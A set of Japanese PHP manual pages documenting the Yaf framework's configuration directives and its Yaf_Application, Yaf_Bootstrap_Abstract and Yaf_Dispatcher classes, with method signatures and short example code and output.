Yaf は、アプリケーションの設定とユーザーの設定を自動的にマージします。 アプリケーションの設定には、プレフィックスとして "yaf." あるいは "application." がつきます。"yaf." と "application." の両方が存在する場合は、"application." を使います。

例1 PHP の配列の例

<?php
    $configs = array(
            "application" => array(
                "directory" => dirname(__FILE__),
                "dispatcher" => array(
                      "catchException" => 0,
                    ),
                "view" => array(
                       "ext" => "phtml",
                    ),
                ),
           );
    $app = new Yaf_Application($configs);
?>

例2 ini ファイルの例

[yaf]
yaf.directory = APPLICATION_PATH "/appliation"
yaf.dispatcher.catchException = 0

[product : yaf]
; user configuration list here

Yaf アプリケーション設定
名前 | デフォルト | 変更履歴
application.directory |  |
application.ext | "php" |
application.view.ext | "phtml" |
application.modules | "index" |
application.library | application.directory . "/library" |
application.library.directory | application.directory . "/library" |
application.library.namespace | "" |
application.bootstrap | application.directory . "/Bootstrap" . application.ext |
application.baseUri | "" |
application.dispatcher.defaultRoute |  |
application.dispatcher.throwException | 1 |
application.dispatcher.catchException | 0 |
application.dispatcher.defaultModule | "index" |
application.dispatcher.defaultController | "index" |
application.dispatcher.defaultAction | "index" |
application.system |  |

以下に設定ディレクティブに関する 簡単な説明を示します。

application.directory string

アプリケーションのディレクトリ。このフォルダの中に "controllers"、"views"、"models"、"plugins" といったフォルダを配置します。

注意:

この項目は、デフォルト値を持たない唯一の項目です。 つまり、必ず手動で指定しなければいけません。

application.ext string

PHP スクリプトファイルの拡張子。クラスのオートロード (Yaf_Loader) で利用します。

application.view.ext string

ビューテンプレートスクリプトのファイル拡張子。

application.modules string

登録済みモジュールのカンマ区切りのリスト。特に、 ルーティングで PATH_INFO に三つ以上のセグメントがあるときに使います。

Yaf は、最初のセグメントがモジュール名なのかそうでないのかを知る手段が必要です。

application.library string

ローカルライブラリディレクトリ。Yaf_Loader および yaf.library を参照ください。

注意:

Yaf 2.1.6 以降では、この項目に配列を指定できるようになりました。 配列を指定した場合、ライブラリパスには application.library.directory の値を使います。

application.library.directory string

application.library のエイリアス。 Yaf 2.1.6 で導入されました。

application.library.namespace string

カンマ区切りで表した、ローカルライブラリ名前空間のプレフィックス。

Yaf 2.1.6 で導入されました。

application.bootstrap string

ブートストラップクラスのスクリプトへの絶対パス。

application.baseUri string

ルーティング時に、決まったプレフィックスをリクエスト URI から取り除くために使います。 例として、リクエスト URI が "/prefix/controller/action" だった場合を考えましょう。 application.baseUri を "/prefix" にしておくと、 ルーティング時に "/controller/action" だけが PATH_INFO とみなされるようになります。

ふつうは、この値を設定する必要はありません。

application.dispatcher.throwException bool

これを On にすると、エラーが発生したときに Yaf が例外をスローするようになります。 Yaf_Dispatcher::throwException() も参照ください。

application.dispatcher.catchException bool

これを On にすると、Yaf が例外をキャッチできなかったときに Error コントローラの Error アクションに転送するようになります。 Yaf_Dispatcher::catchException() も参照ください。

application.dispatcher.defaultRoute string

デフォルトのルート。指定しなかった場合は、デフォルトとして Static ルートを使います。 Yaf_Router::addRoute() も参照ください。

application.dispatcher.defaultModule string

デフォルトのモジュール名。 Yaf_Dispatcher::setDefaultModule() も参照ください。

application.dispatcher.defaultController string

デフォルトのコントローラ名。 Yaf_Dispatcher::setDefaultController() も参照ください。

application.dispatcher.defaultAction string

デフォルトのアクション名。 Yaf_Dispatcher::setDefaultAction() も参照ください。

application.system string

yaf の実行時の設定を、application.ini で application.system.lowcase_path のように設定します。

注意:

この方法で設定できるのは PHP_INI_ALL の項目だけです。

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application クラス

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

Yaf_Application はアプリケーションのブートストラップ機能を提供します。 再利用可能なリソース、共有できるモジュールベースのブートストラップクラス、 そして依存関係のチェックなどです。

注意:

Yaf_Application はシングルトンパターンを実装しており、 シリアライズやデシリアライズはできません。これは、 PHPUnit を使って Yaf 用のテストケースを書こうとしたときに問題の原因となります。

PHPUnit の @backupGlobals アノテーションを使えば グローバル変数のバックアップやりストア操作を制御できるので、 この問題に対応できます。

クラス概要

final Yaf_Application {
/* プロパティ */
protected $config ;
protected $dispatcher ;
protected static $_app ;
protected $_modules ;
protected $_running ;
protected $_environ ;
/* メソッド */
public staticapp ( ) : mixed
public bootstrap ( Yaf_Bootstrap_Abstract $bootstrap = ? ) : void
public clearLastError ( ) : Yaf_Application
public __construct ( mixed $config , string $envrion = ? )
public __destruct ( ) : void
public environ ( ) : void
public execute ( callable $entry , string ...$args ) : void
public getAppDirectory ( ) : Yaf_Application
public getConfig ( ) : Yaf_Config_Abstract
public getDispatcher ( ) : Yaf_Dispatcher
public getLastErrorMsg ( ) : string
public getLastErrorNo ( ) : int
public getModules ( ) : array
public run ( ) : void
public setAppDirectory ( string $directory ) : Yaf_Application
}

プロパティ

config

dispatcher

_app

_modules

_running

_environ

目次

  • Yaf_Application::app — アプリケーションのインスタンスを取得する
  • Yaf_Application::bootstrap — ブートストラップをコールする
  • Yaf_Application::clearLastError — 直近のエラー情報を消す
  • Yaf_Application::__construct — Yaf_Application のコンストラクタ
  • Yaf_Application::__destruct — デストラクタ
  • Yaf_Application::environ — 環境を取得する
  • Yaf_Application::execute — コールバックを実行する
  • Yaf_Application::getAppDirectory — アプリケーションディレクトリを取得する
  • Yaf_Application::getConfig — 設定情報を取得する
  • Yaf_Application::getDispatcher — Yaf_Dispatcher のインスタンスを取得する
  • Yaf_Application::getLastErrorMsg — 直近で発生したエラーのメッセージを取得する
  • Yaf_Application::getLastErrorNo — 直近で発生したエラーのコードを取得する
  • Yaf_Application::getModules — 定義済みのモジュール名を取得する
  • Yaf_Application::run — Yaf_Application を開始する
  • Yaf_Application::setAppDirectory — アプリケーションディレクトリを変更する

User Contributed Notes

There are no user contributed notes for this page.


アプリケーションのインスタンスを取得する

  • ≪ Yaf_Application
  • Yaf_Application::bootstrap ≫
  • PHP Manual
  • Yaf_Application
  • アプリケーションのインスタンスを取得する

Yaf_Application::app

(Yaf >=1.0.0)

Yaf_Application::app — アプリケーションのインスタンスを取得する

説明

public staticYaf_Application::app ( ) : mixed

Yaf_Application のインスタンスを取得します。 別の方法として、 Yaf_Dispatcher::getApplication() も使えます。

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Application のインスタンスを返します。まだ Yaf_Application を初期化していない場合は null を返します。

参考

  • Yaf_Dispatcher::getApplication() - アプリケーションを取得する

User Contributed Notes

There are no user contributed notes for this page.


ブートストラップをコールする

  • ≪ Yaf_Application::app
  • Yaf_Application::clearLastError ≫
  • PHP Manual
  • Yaf_Application
  • ブートストラップをコールする

Yaf_Application::bootstrap

(Yaf >=1.0.0)

Yaf_Application::bootstrap — ブートストラップをコールする

説明

public Yaf_Application::bootstrap ( Yaf_Bootstrap_Abstract $bootstrap = ? ) : void

ブートストラップを実行します。"_init" で始まる名前のすべてのメソッドを その定義順に実行します。bootstrap パラメータを省略した場合は、 application.directory からブートストラップを探します。

パラメータ

bootstrap

Yaf_Bootstrap_Abstract のインスタンス。

返り値

Yaf_Application のインスタンスを返します。

例

例1 Bootstrap() の例

<?php
/**
 * ファイルは APPLICATION_PATH . "/application/"
 * (Yaf_Application に渡した設定で定義した場所) に置き、
 * Bootstrap.php という名前にして Yaf_Application から見つけられるようにします
 */
class Bootstrap extends Yaf_Bootstrap_Abstract {
    function _initConfig(Yaf_Dispatcher $dispatcher) {
        echo "1st called\n";
    }

    function _initPlugin($dispatcher) {
        echo "2nd called\n";
    }
}
?>

例2 Yaf_Application::bootstrap() の例

<?php

defined('APPLICATION_PATH')                  // APPLICATION_PATH が ini ファイルで設定されていれば使います
    || define('APPLICATION_PATH', __DIR__)); // __DIR__ は PHP 5.3 で導入されました

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap();
?>

上の例の出力は、 たとえば以下のようになります。

1st called
2nd called

参考

  • Yaf_Bootstrap_Abstract

User Contributed Notes

brandon at brandonlamb dot com 29-Dec-2011 08:50
Here is an example of a Bootstrap loading a session class then loading a database class and using a db configuration from the application config.

<?php
class Bootstrap extends Yaf_Bootstrap_Abstract
{
    public function _initSession(Yaf_Dispatcher $dispatcher)
    {
        $session = new Vendor\Session();
        $session->start();
    }

    public function _initDatabase(Yaf_Dispatcher $dispatcher)
    {
        $config = Yaf_Application::app()->getConfig()->application->database;
        Yaf_Registry::set('db', Vendor\Database($config));
    }
}
?>


直近のエラー情報を消す

  • ≪ Yaf_Application::bootstrap
  • Yaf_Application::__construct ≫
  • PHP Manual
  • Yaf_Application
  • 直近のエラー情報を消す

Yaf_Application::clearLastError

(Yaf >=2.1.2)

Yaf_Application::clearLastError — 直近のエラー情報を消す

説明

public Yaf_Application::clearLastError ( ) : Yaf_Application

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::clearLastError() の例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   Yaf_Application::app()->clearLastError();
   var_dump(Yaf_Application::app()->getLastErrorNo());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, // エラーが発生したときに、例外ではなくエラーとして扱います
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

上の例の出力は、 たとえば以下のようになります。

int(0)

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application のコンストラクタ

  • ≪ Yaf_Application::clearLastError
  • Yaf_Application::__destruct ≫
  • PHP Manual
  • Yaf_Application
  • Yaf_Application のコンストラクタ

Yaf_Application::__construct

(Yaf >=1.0.0)

Yaf_Application::__construct — Yaf_Application のコンストラクタ

説明

public Yaf_Application::__construct ( mixed $config , string $envrion = ? )

Yaf_Application のインスタンスを作成します。

パラメータ

config

ini ファイルへのパス、あるいは設定の配列。

ini ファイルを指定する場合は、 yaf.environ で定義した名前のセクションが必要です。 デフォルトは "product" です。

注意:

ini ファイルをアプリケーションの設定コンテナとして使うのなら、 yaf.cache_config でパフォーマンスを改善できます。 performance.

設定項目とそのデフォルト値の一覧を示します。

例1 ini ファイルの例

[product]
;this one should alway be defined, and have no default value
application.directory=APPLICATION_PATH

;following configs have default value, you may no need to define them
application.library = APPLICATION_PATH . "/library"
application.dispatcher.throwException=1
application.dispatcher.catchException=1

application.baseUri=""

;the php script ext name
ap.ext=php

;the view template ext name
ap.view.ext=phtml

ap.dispatcher.defaultModuel=Index
ap.dispatcher.defaultController=Index
ap.dispatcher.defaultAction=index

;defined modules
ap.modules=Index

envrion

最終的な設定として、どのセクションを読み込むか。

返り値

例

例2 Yaf_Application::__construct() の例

<?php
defined('APPLICATION_PATH')                  // APPLICATION_PATH が ini ファイルで設定されていれば使います
    || define('APPLICATION_PATH', __DIR__)); // __DIR__ は PHP 5.3 で導入されました

$application = new Yaf_Application(APPLICATION_PATH.'/conf/application.ini');
$application->bootstrap()->run();
?>

上の例の出力は、 たとえば以下のようになります。

例3 Yaf_Application::__construct() の例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->bootstrap()->run();
?>

上の例の出力は、
たとえば以下のようになります。

参考

  • Yaf_Config_Ini
    •

User Contributed Notes

There are no user contributed notes for this page.


デストラクタ

  • ≪ Yaf_Application::__construct
  • Yaf_Application::environ ≫
  • PHP Manual
  • Yaf_Application
  • デストラクタ

Yaf_Application::__destruct

(Yaf >=1.0.0)

Yaf_Application::__destruct — デストラクタ

説明

public Yaf_Application::__destruct ( ) : void

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


環境を取得する

  • ≪ Yaf_Application::__destruct
  • Yaf_Application::execute ≫
  • PHP Manual
  • Yaf_Application
  • 環境を取得する

Yaf_Application::environ

(Yaf >=1.0.0)

Yaf_Application::environ — 環境を取得する

説明

public Yaf_Application::environ ( ) : void

環境を取得します。これは yaf.environ で定義されており、デフォルト値は "product" です。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::environ() の例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->environ());
?>

上の例の出力は、 たとえば以下のようになります。

product

User Contributed Notes

There are no user contributed notes for this page.


コールバックを実行する

  • ≪ Yaf_Application::environ
  • Yaf_Application::getAppDirectory ≫
  • PHP Manual
  • Yaf_Application
  • コールバックを実行する

Yaf_Application::execute

(Yaf >=1.0.0)

Yaf_Application::execute — コールバックを実行する

説明

public Yaf_Application::execute ( callable $entry , string ...$args ) : void

このメソッドは一般的に、Yaf_Application を crontab で実行させるときに使います。 crontab では、オートローダーやブートストラップの仕組みも使えます。

パラメータ

entry

有効なコールバック。

args

コールバックに渡すパラメータ。

返り値

例

例1 Yaf_Application::execute() の例

<?php
function main($argc, $argv) {
}

$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
$application->execute("main", $argc,  $argv);
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

There are no user contributed notes for this page.


アプリケーションディレクトリを取得する

  • ≪ Yaf_Application::execute
  • Yaf_Application::getConfig ≫
  • PHP Manual
  • Yaf_Application
  • アプリケーションディレクトリを取得する

Yaf_Application::getAppDirectory

(Yaf >=2.1.4)

Yaf_Application::getAppDirectory — アプリケーションディレクトリを取得する

説明

public Yaf_Application::getAppDirectory ( ) : Yaf_Application

パラメータ

directory

返り値

User Contributed Notes

There are no user contributed notes for this page.


設定情報を取得する

  • ≪ Yaf_Application::getAppDirectory
  • Yaf_Application::getDispatcher ≫
  • PHP Manual
  • Yaf_Application
  • 設定情報を取得する

Yaf_Application::getConfig

(Yaf >=1.0.0)

Yaf_Application::getConfig — 設定情報を取得する

説明

public Yaf_Application::getConfig ( ) : Yaf_Config_Abstract

パラメータ

この関数にはパラメータはありません。

返り値

Yaf_Config_Abstract のインスタンスを返します。

例

例1 Yaf_Application::getConfig() の例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getConfig());
?>

上の例の出力は、 たとえば以下のようになります。

Yaf_Config_Simple Object
(
    [_config:protected] => Array
        (
            [application] => Array
                (
                    [directory] => /home/laruence/local/www/htdocs/application
                )

        )

    [_readonly:protected] => 1
)

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher のインスタンスを取得する

  • ≪ Yaf_Application::getConfig
  • Yaf_Application::getLastErrorMsg ≫
  • PHP Manual
  • Yaf_Application
  • Yaf_Dispatcher のインスタンスを取得する

Yaf_Application::getDispatcher

(Yaf >=1.0.0)

Yaf_Application::getDispatcher — Yaf_Dispatcher のインスタンスを取得する

説明

public Yaf_Application::getDispatcher ( ) : Yaf_Dispatcher

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::getDispatcher() の例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getDispatcher());
?>

上の例の出力は、 たとえば以下のようになります。

Yaf_Dispatcher Object
(
    [_router:protected] => Yaf_Router Object
        (
            [_routes:protected] => Array
                (
                    [_default] => Yaf_Route_Static Object
                        (
                        )

                )

            [_current:protected] =>
        )

    [_view:protected] =>
    [_request:protected] => Yaf_Request_Http Object
        (
            [module] =>
            [controller] =>
            [action] =>
            [method] => Cli
            [params:protected] => Array
                (
                )

            [language:protected] =>
            [_exception:protected] =>
            [_base_uri:protected] =>
            [uri:protected] =>
            [dispatched:protected] =>
            [routed:protected] =>
        )

    [_plugins:protected] => Array
        (
        )

    [_auto_render:protected] => 1
    [_return_response:protected] =>
    [_instantly_flush:protected] =>
    [_default_module:protected] => Index
    [_default_controller:protected] => Index
    [_default_action:protected] => index
    [_response] => Yaf_Response_Cli Object
        (
            [_header:protected] => Array
                (
                )

            [_body:protected] =>
            [_sendheader:protected] =>
        )

)

User Contributed Notes

There are no user contributed notes for this page.


直近で発生したエラーのメッセージを取得する

  • ≪ Yaf_Application::getDispatcher
  • Yaf_Application::getLastErrorNo ≫
  • PHP Manual
  • Yaf_Application
  • 直近で発生したエラーのメッセージを取得する

Yaf_Application::getLastErrorMsg

(Yaf >=2.1.2)

Yaf_Application::getLastErrorMsg — 直近で発生したエラーのメッセージを取得する

説明

public Yaf_Application::getLastErrorMsg ( ) : string

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::getLastErrorMsg() の例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorMsg());
}

$config = array(
 "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, // エラーが発生したときに、例外をスローするのではなくエラーにします
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

上の例の出力は、 たとえば以下のようになります。

string(69) "Could not find controller script /tmp/notexists/controllers/Index.php"

User Contributed Notes

There are no user contributed notes for this page.


直近で発生したエラーのコードを取得する

  • ≪ Yaf_Application::getLastErrorMsg
  • Yaf_Application::getModules ≫
  • PHP Manual
  • Yaf_Application
  • 直近で発生したエラーのコードを取得する

Yaf_Application::getLastErrorNo

(Yaf >=2.1.2)

Yaf_Application::getLastErrorNo — 直近で発生したエラーのコードを取得する

説明

public Yaf_Application::getLastErrorNo ( ) : int

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::getLastErrorNo() の例

<?php
function error_handler($errno, $errstr, $errfile, $errline) {
   var_dump(Yaf_Application::app()->getLastErrorNo());
   var_dump(Yaf_Application::app()->getLastErrorNo() == YAF_ERR_NOTFOUND_CONTROLLER);
}

$config = array(
  "application" => array(
   "directory" => "/tmp/notexists",
     "dispatcher" => array(
       "throwException" => 0, // エラーが発生したときに、例外をスローするのではなくエラーにします
      ),
  ),
);

$app = new Yaf_Application($config);
$app->getDispatcher()->setErrorHandler("error_handler", E_RECOVERABLE_ERROR);
$app->run();
?>

上の例の出力は、 たとえば以下のようになります。

int(516)
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


定義済みのモジュール名を取得する

  • ≪ Yaf_Application::getLastErrorNo
  • Yaf_Application::run ≫
  • PHP Manual
  • Yaf_Application
  • 定義済みのモジュール名を取得する

Yaf_Application::getModules

(Yaf >=1.0.0)

Yaf_Application::getModules — 定義済みのモジュール名を取得する

説明

public Yaf_Application::getModules ( ) : array

設定で定義したモジュールのリストを取得します。 何も定義していない場合は "Index" だけになります。

パラメータ

この関数にはパラメータはありません。

返り値

例

例1 Yaf_Application::getModules() の例

<?php
$config = array(
    "application" => array(
        "directory" => realpath(dirname(__FILE__)) . "/application",
    ),
);

/** Yaf_Application */
$application = new Yaf_Application($config);
print_r($application->getModules());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [0] => Index
)

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Application を開始する

  • ≪ Yaf_Application::getModules
  • Yaf_Application::setAppDirectory ≫
  • PHP Manual
  • Yaf_Application
  • Yaf_Application を開始する

Yaf_Application::run

(Yaf >=1.0.0)

Yaf_Application::run — Yaf_Application を開始する

説明

public Yaf_Application::run ( ) : void

Yaf_Application を実行します。つまり、Yaf_Application がリクエストを受け取ってルーティングし、コントローラのアクションにディスパッチして レスポンスをレンダリングできるようにします。最終的に、レスポンスをクライアントに返します。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


アプリケーションディレクトリを変更する

  • ≪ Yaf_Application::run
  • Yaf_Bootstrap_Abstract ≫
  • PHP Manual
  • Yaf_Application
  • アプリケーションディレクトリを変更する

Yaf_Application::setAppDirectory

(Yaf >=2.1.4)

Yaf_Application::setAppDirectory — アプリケーションディレクトリを変更する

説明

public Yaf_Application::setAppDirectory ( string $directory ) : Yaf_Application

パラメータ

directory

返り値

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Bootstrap_Abstract クラス

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

はじめに

ブートストラップとは、アプリケーションを実行する前の初期設定に使う仕組みのことです。

ユーザーが自前のブートストラップクラスを定義するには、 Yaf_Bootstrap_Abstract を継承します。

ブートストラップクラスで定義したメソッドの中で "_init" で始まるものがすべて、定義した順に Yaf_Application::bootstrap() から呼ばれます。

例

例1 ブートストラップの例

<?php
   /* ブートストラップクラスは ./application/Bootstrap.php で定義しないといけません */
   class Bootstrap extends Yaf_Bootstrap_Abstract {
        public function _initConfig(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
        public function _initPlugin(Yaf_Dispatcher $dispatcher) {
            var_dump(__METHOD__);
        }
   }

   $config = array(
       "application" => array(
           "directory" => dirname(__FILE__) . "/application/",
       ),
   );

   $app = new Yaf_Application($config);
   $app->bootstrap();
?>

上の例の出力は、 たとえば以下のようになります。

string(22) "Bootstrap::_initConfig"
string(22) "Bootstrap::_initPlugin"

クラス概要

abstract Yaf_Bootstrap_Abstract {
/* プロパティ */
/* メソッド */
}

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher クラス

(Yaf >=1.0.0)

はじめに

Yaf_Dispatcher の役割は、 リクエスト環境の初期化、やってきたリクエストのルーティング、 そして見つかったアクションへのディスパッチです。 あらゆるレスポンスを取りまとめ、処理が完了した後でそれを返します。

Yaf_Dispatcher はシングルトンパターンを実装しています。 つまり、同時に複数のインスタンスは作れないということです。 そのため、このクラスをレジストリとして使い、 ディスパッチ中に他のオブジェクトから参照させることもできます。

クラス概要

final Yaf_Dispatcher {
/* プロパティ */
protected $_router ;
protected $_view ;
protected $_request ;
protected $_plugins ;
protected static $_instance ;
protected $_auto_render ;
protected $_return_response ;
protected $_instantly_flush ;
protected $_default_module ;
protected $_default_controller ;
protected $_default_action ;
/* メソッド */
public autoRender ( bool $flag = ? ) : Yaf_Dispatcher
public catchException ( bool $flag = ? ) : Yaf_Dispatcher
public __construct ( )
public disableView ( ) : bool
public dispatch ( Yaf_Request_Abstract $request ) : Yaf_Response_Abstract
public enableView ( ) : Yaf_Dispatcher
public flushInstantly ( bool $flag = ? ) : Yaf_Dispatcher
public getApplication ( ) : Yaf_Application
public getDefaultAction ( ) : string
public getDefaultController ( ) : string
public getDefaultModule ( ) : string
public static getInstance ( ) : Yaf_Dispatcher
public getRequest ( ) : Yaf_Request_Abstract
public getRouter ( ) : Yaf_Router
public initView ( string $templates_dir , array $options = ? ) : Yaf_View_Interface
public registerPlugin ( Yaf_Plugin_Abstract $plugin ) : Yaf_Dispatcher
public returnResponse ( bool $flag ) : Yaf_Dispatcher
public setDefaultAction ( string $action ) : Yaf_Dispatcher
public setDefaultController ( string $controller ) : Yaf_Dispatcher
public setDefaultModule ( string $module ) : Yaf_Dispatcher
public setErrorHandler ( call $callback , int $error_types ) : Yaf_Dispatcher
public setRequest ( Yaf_Request_Abstract $request ) : Yaf_Dispatcher
public setView ( Yaf_View_Interface $view ) : Yaf_Dispatcher
public throwException ( bool $flag = ? ) : Yaf_Dispatcher
}

プロパティ

_router

_view

_request

_plugins

_instance

_auto_render

_return_response

_instantly_flush

_default_module

_default_controller

_default_action

目次

  • Yaf_Dispatcher::autoRender — 自動レンダリングのオン/オフを切り替える
  • Yaf_Dispatcher::catchException — 例外のキャッチのオン/オフを切り替える
  • Yaf_Dispatcher::__construct — Yaf_Dispatcher のコンストラクタ
  • Yaf_Dispatcher::disableView — ビューのレンダリングを無効にする
  • Yaf_Dispatcher::dispatch — リクエストをディスパッチする
  • Yaf_Dispatcher::enableView — ビューのレンダリングを有効にする
  • Yaf_Dispatcher::flushInstantly — その場でのフラッシュのオン/オフを切り替える
  • Yaf_Dispatcher::getApplication — アプリケーションを取得する
  • Yaf_Dispatcher::getDefaultAction — Retrive the default action name
  • Yaf_Dispatcher::getDefaultController — Retrive the default controller name
  • Yaf_Dispatcher::getDefaultModule — Retrive the default module name
  • Yaf_Dispatcher::getInstance — ディスパッチャのインスタンスを取得する
  • Yaf_Dispatcher::getRequest — リクエストのインスタンスを取得する
  • Yaf_Dispatcher::getRouter — ルーターのインスタンスを取得する
  • Yaf_Dispatcher::initView — ビューを初期化して返す
  • Yaf_Dispatcher::registerPlugin — プラグインを登録する
  • Yaf_Dispatcher::returnResponse — The returnResponse purpose
  • Yaf_Dispatcher::setDefaultAction — デフォルトのアクション名を変更する
  • Yaf_Dispatcher::setDefaultController — デフォルトのコントローラ名を変更する
  • Yaf_Dispatcher::setDefaultModule — デフォルトのモジュール名を変更する
  • Yaf_Dispatcher::setErrorHandler — エラーハンドラを設定する
  • Yaf_Dispatcher::setRequest — The setRequest purpose
  • Yaf_Dispatcher::setView — カスタムビューエンジンを設定する
  • Yaf_Dispatcher::throwException — 例外のスローのオン/オフを切り替える

User Contributed Notes

There are no user contributed notes for this page.


自動レンダリングのオン/オフを切り替える

  • ≪ Yaf_Dispatcher
  • Yaf_Dispatcher::catchException ≫
  • PHP Manual
  • Yaf_Dispatcher
  • 自動レンダリングのオン/オフを切り替える

Yaf_Dispatcher::autoRender

(Yaf >=1.0.0)

Yaf_Dispatcher::autoRender — 自動レンダリングのオン/オフを切り替える

説明

public Yaf_Dispatcher::autoRender ( bool $flag = ? ) : Yaf_Dispatcher

Yaf_Dispatcher は リクエストをディスパッチした後で自動的にレンダリングします。 これを無効にするには、 flag を true としてこのメソッドを実行します。

注意:

アクションで false を返せば、そのアクションでの自動レンダリングを回避できます。

パラメータ

flag

bool

注意:

2.2.0 以降は、このパラメータを省略した場合に現在の状態を返すようになりました。

返り値

例

例1 Yaf_Dispatcher::autoRender() の例

<?php
class IndexController extends Yaf_Controller_Abstract {
     /* init メソッドは、コントローラを初期化したときに呼ばれます */
     public function init() {
         if ($this->getRequest()->isXmlHttpRequest()) {
             // ajax リクエストの場合はレンダリングせず、
             // json 文字列を出力します
             Yaf_Dispatcher::getInstance()->autoRender(FALSE);
         }
     }

}
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

There are no user contributed notes for this page.


例外のキャッチのオン/オフを切り替える

  • ≪ Yaf_Dispatcher::autoRender
  • Yaf_Dispatcher::__construct ≫
  • PHP Manual
  • Yaf_Dispatcher
  • 例外のキャッチのオン/オフを切り替える

Yaf_Dispatcher::catchException

(Yaf >=1.0.0)

Yaf_Dispatcher::catchException — 例外のキャッチのオン/オフを切り替える

説明

public Yaf_Dispatcher::catchException ( bool $flag = ? ) : Yaf_Dispatcher

application.dispatcher.throwException が On (あるいは Yaf_Dispatcher::throwException(TRUE)() で有効にした) 場合、Yaf でエラーが発生したときに例外をスローします。

そのとき、Yaf_Dispatcher::catchException() を有効にする (あるいは application.dispatcher.catchException で有効にする) と、 もし ErrorController::error を定義していれば キャッチしなかった例外はすべて ErrorController::error に送られます。

パラメータ

flag

bool

返り値

例

例1 Yaf_Dispatcher::catchException() の例

/* 次のような ErrorController を定義しているものとします */
<?php
class ErrorController extends Yaf_Controller_Abstract {
     /**
      * Yaf_Request_Abstract::getException を呼んで
      * 未処理の例外を取得します
      */
     public function errorAction($exception) {
        /* エラーが発生した */
        switch ($exception->getCode()) {
            case YAF_ERR_NOTFOUND_MODULE:
            case YAF_ERR_NOTFOUND_CONTROLLER:
            case YAF_ERR_NOTFOUND_ACTION:
            case YAF_ERR_NOTFOUND_VIEW:
                echo 404, ":", $exception->getMessage();
                break;
            default :
                $message = $exception->getMessage();
                echo 0, ":", $exception->getMessage();
                break;
        }
     }
}
?>

上の例の出力は、 たとえば以下のようになります。

/* now if some error occur, assuming access a non-exists controller(or you can throw a exception yourself): */
404:Could not find controller script **/application/controllers/No-exists-controller.php

参考

  • Yaf_Dispatcher::throwException() - 例外のスローのオン/オフを切り替える
  • Yaf_Dispatcher::setErrorHandler() - エラーハンドラを設定する

User Contributed Notes

There are no user contributed notes for this page.


Yaf_Dispatcher のコンストラクタ

  • ≪ Yaf_Dispatcher::catchException
  • Yaf_Dispatcher::disableView ≫
  • PHP Manual
  • Yaf_Dispatcher
  • Yaf_Dispatcher のコンストラクタ

Yaf_Dispatcher::__construct

(Yaf >=1.0.0)

Yaf_Dispatcher::__construct — Yaf_Dispatcher のコンストラクタ

説明

public Yaf_Dispatcher::__construct ( )

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


ビューのレンダリングを無効にする

  • ≪ Yaf_Dispatcher::__construct
  • Yaf_Dispatcher::dispatch ≫
  • PHP Manual
  • Yaf_Dispatcher
  • ビューのレンダリングを無効にする

Yaf_Dispatcher::disableView

(Yaf >=1.0.0)

Yaf_Dispatcher::disableView — ビューのレンダリングを無効にする

説明

public Yaf_Dispatcher::disableView ( ) : bool

ビューエンジンを無効にします。ユーザーが自分自身で出力しているようなアプリケーションで利用します。

注意:

アクションで false を返せば、そのアクションでの自動レンダリングを回避できます。

パラメータ

この関数にはパラメータはありません。

返り値

User Contributed Notes

There are no user contributed notes for this page.


リクエストをディスパッチする

  • ≪ Yaf_Dispatcher::disableView
  • Yaf_Dispatcher::enableView ≫
  • PHP Manual
  • Yaf_Dispatcher
  • リクエストをディスパッチする

Yaf_Dispatcher::dispatch

(Yaf >=1.0.0)

Yaf_Dispatcher::dispatch — リクエストをディスパッチする

説明

public Yaf_Dispatcher::dispatch ( Yaf_Request_Abstract $request ) : Yaf_Response_Abstract

このメソッドが、 Yaf_Dispatcher の主要な作業をします。 リクエストオブジェクトを受け取ります。

ディスパッチ処理には、次の三段階があります。

  • ルーティング
  • ディスパッチ
  • レスポンス
